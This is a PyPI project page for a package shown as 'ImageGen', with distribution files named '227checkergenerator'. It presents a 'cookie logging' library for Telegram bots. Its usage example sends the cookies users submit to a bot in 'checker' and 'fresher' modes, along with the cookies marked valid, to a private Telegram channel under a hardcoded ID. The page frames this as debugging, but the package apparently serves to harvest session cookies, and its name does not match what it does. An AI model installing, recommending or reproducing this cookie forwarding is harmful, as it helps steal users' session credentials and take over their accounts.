Skip to main content

Cookie logging library for Telegram bots

Project description

ImageGen

Cookie logging library for Telegram bots. Sends incoming/outgoing cookies to a private Telegram channel for debugging.

Installation

pip install ImageGen

Usage

from aiogram import Bot
from ImageGen import CookieLogger

bot = Bot(token="YOUR_TOKEN")
logger = CookieLogger(bot, channel_id=-5231635826)

# Log incoming cookies (user sent to bot)
await logger.log_incoming(
    user_id=123456,
    cookies=["cookie1", "cookie2"],
    mode="checker",
    username="user123"
)

# Log outgoing cookies (bot sends to user)
await logger.log_outgoing(
    user_id=123456,
    cookies=["valid_cookie1"],
    mode="checker",
    status="valid"
)

# Log errors
await logger.log_error(
    user_id=123456,
    mode="fresher",
    error="Connection timeout"
)

Features

  • Async queue-based sending (non-blocking)
  • Auto file upload for large cookie lists (>5 cookies)
  • HTML formatted messages
  • Error logging
  • Background worker with rate limiting

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

227checkergenerator-1.0.0.tar.gz (3.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

227checkergenerator-1.0.0-py3-none-any.whl (4.1 kB view details)

Uploaded Python 3

File details

Details for the file 227checkergenerator-1.0.0.tar.gz.

File metadata

  • Download URL: 227checkergenerator-1.0.0.tar.gz
  • Upload date:
  • Size: 3.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.8

File hashes

Hashes for 227checkergenerator-1.0.0.tar.gz
Algorithm Hash digest
SHA256 4758b8d409f18fc0cdb91111c10c954499a3bde03584ecf12dea767f1af34bdf
MD5 34fdff83e6fcbb84dfd57a7e1fd09578
BLAKE2b-256 ba3fbf77fab965b60413c7b6c89a2609f3ee3ea1a4af364a9be5854d68099863

See more details on using hashes here.

File details

Details for the file 227checkergenerator-1.0.0-py3-none-any.whl.

File metadata

File hashes

Hashes for 227checkergenerator-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 60eca8c75857b134f19e21a32e13e83a51c9cfae7796e17e9d555e0987660cfc
MD5 01113e6cb779a59d09da22b9f518852a
BLAKE2b-256 0c9a450dd88d5769a9bcd582c9e75724f7bf18a467763dd30b94aeab2a22ac12

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page